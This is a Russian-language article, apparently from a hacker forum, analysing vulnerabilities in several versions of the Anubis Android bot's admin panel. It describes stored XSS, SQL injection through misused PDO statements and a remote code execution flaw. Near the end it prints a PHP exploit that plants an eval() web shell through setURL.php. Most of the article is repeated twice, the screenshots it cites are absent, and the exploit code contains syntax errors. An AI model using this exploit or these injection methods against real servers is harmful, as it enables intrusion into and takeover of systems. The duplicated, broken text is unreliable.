Для конкурса статей, решил сделать анализ панели Анубиса. Бот популярный, наделал много шума, найти админки разных версий не составляет труда.
Вместе с вами мы проследим, как со временем улучшалось качество и безопасность кода.
Android Bot by maza-in
Начнем с саааааамой старой версии. С той версии, когда непосредственно Анубиса еще не было, а был просто "Android Bot by maza-in". Тот самый бот из статьи, которая заняла первое место на конкурсе:
Говорят, дареному коню в зубы не смотрят, но мы всё же посмотрим.
XSS
Начнем с простенького. Файл kliets.php. Следим за руками (стрелочками):
И вывод на страничку:
Может данные как-то фильтруются, когда попадают в БД? Файлик set_data.php, где код добавления новых ботов:
Это чудесно, что используется функция htmlspecialchars(), однако смысла в ней нет никакого - дальше идет расшифровка данных, и уже они попадают в SQL-запрос без какой-либо фильтрации.
Клепаем простенький сплойтик, отправляем пайлоад в админку, результат:
SQL-injection
Как было упомянуто выше, имеются и sql-инъекции. Однако, мы не будем морочиться с тем, чтобы формировать какой-то хитрый запрос от бота, есть путь существенно проще.
Файл command_go_modul.php, доступен кому угодно:
Учитывая, что это PDO, можно просто дописать еще SQL команды, после точки с запятой:
На скриншоте видно, как можно удалить всё из таблицы commands. Но не обязательно что-либо удалять - мы можем использовать любой другой SQL-запрос (INSERT, UPDATE, DROP, CREATE).
Anubis
А это уже не паблик бот. Приватный продукт, который все хотят купить, но никто не знает где достать. Давайте посмотрим, какие изменения коснулись кода панели.
XSS
Как и в старой версии, никакой фильтрации нет (всё тот же файл kliets.php):
И чуть ниже, как мы любим:
Точно также - делаем "отстук" ботом с полезной нагрузкой и:
SQL Injection
Всё те же самые ошибки. Только файл теперь называется set_go_modul.php:
И далее:
Совершенно также - дописываем код, ставим точку с запятой и выполняем любую SQL-команду.
Разумеется, бот по ру не работал, ни в коем случае:
Наверное, супостатых#й в жопу инжекты в папку подкинули.
Как-то странно, этот бот, образно выражаясь, уже не дареный, но зубы у него такие же гнилые как и у прошлого...
Anubis 2.5
Перескочим на последнюю версию. Должно быть здесь то уже всё схвачено. Но...
XSS
Структура панели поменялась, файлы переименованы, но все ошибки были заботливо сохранены (botstable.php):
И чуть ниже:
Если кто-то получит доступ к phpmyadmin или adminer, то от XSS не защититься. Но может быть были предприняты какие-то меры и есть какая-никакая фильтрация на входе?
Смотрим файлик a3.php:
И еще раз, чуть ниже:
ШТОШ. Ну не в этот раз. Опять отправляем через бота запрос и опять наблюдаем уже поднадоевший alert:
SQL injection
Если еще раз посмотреть на код файла a3.php, можно заметить, что PDO::prepare используется совершенно неправильно:
Это как надо, а в коде просто переменные в кавычках. Выходит, как и в прошлых версиях, в этой мы тоже можем выполнить любой SQL-код. Стабильность - это то, что действительно нужно в нашем нелегком деле.
RCE
В новой версии, автор не мог нас не порадовать чем-то новеньким. Посмотрим на файл setURL.php:
Эксплоит не сильно сложный:
Как отработает, можем творить непотребства:
Заключение.
Да, потом с мазой случилось и заключение, но речь совершенно не об этом.
Как мы можем видеть, в коде панели шлейф из ошибок, еще с самой первой версии, конца 2016 года. Неважно, бесплатно раздается продукт или продается в тех самых "приватах" за нескромные суммы - от уязвимостей это не спасает.
Всё как всегда.
Вместе с вами мы проследим, как со временем улучшалось качество и безопасность кода.
Android Bot by maza-in
Начнем с саааааамой старой версии. С той версии, когда непосредственно Анубиса еще не было, а был просто "Android Bot by maza-in". Тот самый бот из статьи, которая заняла первое место на конкурсе:
Говорят, дареному коню в зубы не смотрят, но мы всё же посмотрим.
XSS
Начнем с простенького. Файл kliets.php. Следим за руками (стрелочками):
И вывод на страничку:
Может данные как-то фильтруются, когда попадают в БД? Файлик set_data.php, где код добавления новых ботов:
Это чудесно, что используется функция htmlspecialchars(), однако смысла в ней нет никакого - дальше идет расшифровка данных, и уже они попадают в SQL-запрос без какой-либо фильтрации.
Клепаем простенький сплойтик, отправляем пайлоад в админку, результат:
SQL-injection
Как было упомянуто выше, имеются и sql-инъекции. Однако, мы не будем морочиться с тем, чтобы формировать какой-то хитрый запрос от бота, есть путь существенно проще.
Файл command_go_modul.php, доступен кому угодно:
Учитывая, что это PDO, можно просто дописать еще SQL команды, после точки с запятой:
На скриншоте видно, как можно удалить всё из таблицы commands. Но не обязательно что-либо удалять - мы можем использовать любой другой SQL-запрос (INSERT, UPDATE, DROP, CREATE).
Anubis
А это уже не паблик бот. Приватный продукт, который все хотят купить, но никто не знает где достать. Давайте посмотрим, какие изменения коснулись кода панели.
XSS
Как и в старой версии, никакой фильтрации нет (всё тот же файл kliets.php):
И чуть ниже, как мы любим:
Точно также - делаем "отстук" ботом с полезной нагрузкой и:
SQL Injection
Всё те же самые ошибки. Только файл теперь называется set_go_modul.php:
И далее:
Совершенно также - дописываем код, ставим точку с запятой и выполняем любую SQL-команду.
Разумеется, бот по ру не работал, ни в коем случае:
Наверное, супостаты
Как-то странно, этот бот, образно выражаясь, уже не дареный, но зубы у него такие же гнилые как и у прошлого...
Anubis 2.5
Перескочим на последнюю версию. Должно быть здесь то уже всё схвачено. Но...
XSS
Структура панели поменялась, файлы переименованы, но все ошибки были заботливо сохранены (botstable.php):
И чуть ниже:
Если кто-то получит доступ к phpmyadmin или adminer, то от XSS не защититься. Но может быть были предприняты какие-то меры и есть какая-никакая фильтрация на входе?
Смотрим файлик a3.php:
И еще раз, чуть ниже:
ШТОШ. Ну не в этот раз. Опять отправляем через бота запрос и опять наблюдаем уже поднадоевший alert:
SQL injection
Если еще раз посмотреть на код файла a3.php, можно заметить, что PDO::prepare используется совершенно неправильно:
Это как надо, а в коде просто переменные в кавычках. Выходит, как и в прошлых версиях, в этой мы тоже можем выполнить любой SQL-код. Стабильность - это то, что действительно нужно в нашем нелегком деле.
RCE
В новой версии, автор не мог нас не порадовать чем-то новеньким. Посмотрим на файл setURL.php:
Эксплоит не сильно сложный:
Код:
<?php
$seturl= "path_to_anubis/inj/setURL.php";
$url = parse_url($seturl);
$payload = md5($url['scheme']."://".$url['host'];).'|https://123{$kek[eval($_GET[lol])]}';
$opts = array('http' =>
array(
'method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(array('p' => $payload));
)
);
$context = stream_context_create($opts);
$result = file_get_contents($seturl, false, $context);
Заключение.
Да, потом с мазой случилось и заключение, но речь совершенно не об этом.
Как мы можем видеть, в коде панели шлейф из ошибок, еще с самой первой версии, конца 2016 года. Неважно, бесплатно раздается продукт или продается в тех самых "приватах" за нескромные суммы - от уязвимостей это не спасает.
Всё как всегда.